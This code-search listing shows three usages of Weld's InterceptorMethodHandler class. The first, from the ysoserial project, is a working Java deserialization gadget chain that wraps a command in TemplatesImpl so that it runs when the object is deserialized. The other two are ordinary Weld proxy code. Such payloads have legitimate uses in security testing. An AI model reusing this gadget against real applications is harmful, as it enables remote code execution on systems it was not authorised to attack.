Search in sources :

Example 1 with InterceptorMethodHandler

use of org.jboss.weld.interceptor.proxy.InterceptorMethodHandler in project ysoserial by frohoff.

the class JavassistWeld1 method getObject.

public Object getObject(final String command) throws Exception {
    final Object gadget = Gadgets.createTemplatesImpl(command);
    InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
    ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
    InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
    Set<InterceptionType> s = new HashSet<InterceptionType>();
    s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
    Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
    defaultMethodMetadataConstructor.setAccessible(true);
    MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
    List list = new ArrayList();
    list.add(methodMetadata);
    Map<org.jboss.weld.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.weld.interceptor.spi.model.InterceptionType, List<MethodMetadata>>();
    hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list);
    SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
    builder.interceptAll().with(simpleInterceptorMetadata);
    InterceptionModel model = builder.build();
    HashMap map = new HashMap();
    map.put("ysoserial", "ysoserial");
    DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
    InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() {

        public Object createFor(InterceptorReference paramInterceptorReference) {
            return gadget;
        }
    };
    return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
}
Also used : InterceptorReference(org.jboss.weld.interceptor.spi.metadata.InterceptorReference) ClassMetadataInterceptorReference(org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference) InterceptorInstantiator(org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator) InterceptorMethodHandler(org.jboss.weld.interceptor.proxy.InterceptorMethodHandler) InterceptionType(org.jboss.weld.interceptor.spi.model.InterceptionType) DefaultInvocationContextFactory(org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory) InterceptionModelBuilder(org.jboss.weld.interceptor.builder.InterceptionModelBuilder) Constructor(java.lang.reflect.Constructor) InterceptionModel(org.jboss.weld.interceptor.spi.model.InterceptionModel) TemplatesImpl(com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl) ReflectiveClassMetadata(org.jboss.weld.interceptor.reader.ReflectiveClassMetadata) SimpleInterceptorMetadata(org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata) MethodMetadata(org.jboss.weld.interceptor.spi.metadata.MethodMetadata) DefaultMethodMetadata(org.jboss.weld.interceptor.reader.DefaultMethodMetadata)

Example 2 with InterceptorMethodHandler

use of org.jboss.weld.interceptor.proxy.InterceptorMethodHandler in project core by weld.

the class InterceptionFactoryImpl method createInterceptedInstance.

@Override
public T createInterceptedInstance(T instance) {
    if (used) {
        throw InterceptorLogger.LOG.interceptionFactoryNotReusable();
    }
    if (instance instanceof ProxyObject) {
        InterceptorLogger.LOG.interceptionFactoryInternalContainerConstruct(instance.getClass());
        return instance;
    }
    UnproxyableResolutionException exception = Proxies.getUnproxyableTypeException(annotatedType.getBaseType(), null, beanManager.getServices(), ignoreFinalMethods);
    if (exception != null) {
        throw exception;
    }
    used = true;
    if (annotatedType.getJavaClass().isInterface()) {
        throw InterceptorLogger.LOG.interceptionFactoryNotOnInstance(annotatedType.getJavaClass().getCanonicalName());
    }
    Optional<InterceptionFactoryData<T>> cached = beanManager.getServices().get(InterceptionFactoryDataCache.class).getInterceptionFactoryData(configurator != null ? configurator.complete() : annotatedType);
    if (!cached.isPresent()) {
        InterceptorLogger.LOG.interceptionFactoryNotRequired(annotatedType.getJavaClass().getSimpleName());
        return instance;
    }
    InterceptionFactoryData<T> data = cached.get();
    InterceptedProxyMethodHandler methodHandler = new InterceptedProxyMethodHandler(instance);
    methodHandler.setInterceptorMethodHandler(new InterceptorMethodHandler(InterceptionContext.forNonConstructorInterception(data.getInterceptionModel(), creationalContext, beanManager, data.getSlimAnnotatedType())));
    T proxy = (System.getSecurityManager() == null) ? data.getInterceptedProxyFactory().run() : AccessController.doPrivileged(data.getInterceptedProxyFactory());
    ((ProxyObject) proxy).setHandler(methodHandler);
    return proxy;
}
Also used : ProxyObject(org.jboss.weld.bean.proxy.ProxyObject) InterceptedProxyMethodHandler(org.jboss.weld.bean.proxy.InterceptedProxyMethodHandler) InterceptionFactoryData(org.jboss.weld.bean.proxy.InterceptionFactoryDataCache.InterceptionFactoryData) InterceptionFactoryDataCache(org.jboss.weld.bean.proxy.InterceptionFactoryDataCache) UnproxyableResolutionException(org.jboss.weld.exceptions.UnproxyableResolutionException) InterceptorMethodHandler(org.jboss.weld.interceptor.proxy.InterceptorMethodHandler)

Example 3 with InterceptorMethodHandler

use of org.jboss.weld.interceptor.proxy.InterceptorMethodHandler in project core by weld.

the class InterceptorApplyingInstantiator method applyInterceptors.

protected T applyInterceptors(T instance, InterceptionContext interceptionContext) {
    try {
        InterceptorMethodHandler methodHandler = new InterceptorMethodHandler(interceptionContext);
        CombinedInterceptorAndDecoratorStackMethodHandler wrapperMethodHandler = (CombinedInterceptorAndDecoratorStackMethodHandler) ((ProxyObject) instance).getHandler();
        wrapperMethodHandler.setInterceptorMethodHandler(methodHandler);
    } catch (Exception e) {
        throw new DeploymentException(e);
    }
    return instance;
}
Also used : CombinedInterceptorAndDecoratorStackMethodHandler(org.jboss.weld.bean.proxy.CombinedInterceptorAndDecoratorStackMethodHandler) InterceptorMethodHandler(org.jboss.weld.interceptor.proxy.InterceptorMethodHandler) DeploymentException(org.jboss.weld.exceptions.DeploymentException) DeploymentException(org.jboss.weld.exceptions.DeploymentException)

Aggregations

InterceptorMethodHandler (org.jboss.weld.interceptor.proxy.InterceptorMethodHandler)3 TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl)1 Constructor (java.lang.reflect.Constructor)1 CombinedInterceptorAndDecoratorStackMethodHandler (org.jboss.weld.bean.proxy.CombinedInterceptorAndDecoratorStackMethodHandler)1 InterceptedProxyMethodHandler (org.jboss.weld.bean.proxy.InterceptedProxyMethodHandler)1 InterceptionFactoryDataCache (org.jboss.weld.bean.proxy.InterceptionFactoryDataCache)1 InterceptionFactoryData (org.jboss.weld.bean.proxy.InterceptionFactoryDataCache.InterceptionFactoryData)1 ProxyObject (org.jboss.weld.bean.proxy.ProxyObject)1 DeploymentException (org.jboss.weld.exceptions.DeploymentException)1 UnproxyableResolutionException (org.jboss.weld.exceptions.UnproxyableResolutionException)1 InterceptionModelBuilder (org.jboss.weld.interceptor.builder.InterceptionModelBuilder)1 DefaultInvocationContextFactory (org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory)1 ClassMetadataInterceptorReference (org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference)1 DefaultMethodMetadata (org.jboss.weld.interceptor.reader.DefaultMethodMetadata)1 ReflectiveClassMetadata (org.jboss.weld.interceptor.reader.ReflectiveClassMetadata)1 SimpleInterceptorMetadata (org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata)1 InterceptorInstantiator (org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator)1 InterceptorReference (org.jboss.weld.interceptor.spi.metadata.InterceptorReference)1 MethodMetadata (org.jboss.weld.interceptor.spi.metadata.MethodMetadata)1 InterceptionModel (org.jboss.weld.interceptor.spi.model.InterceptionModel)1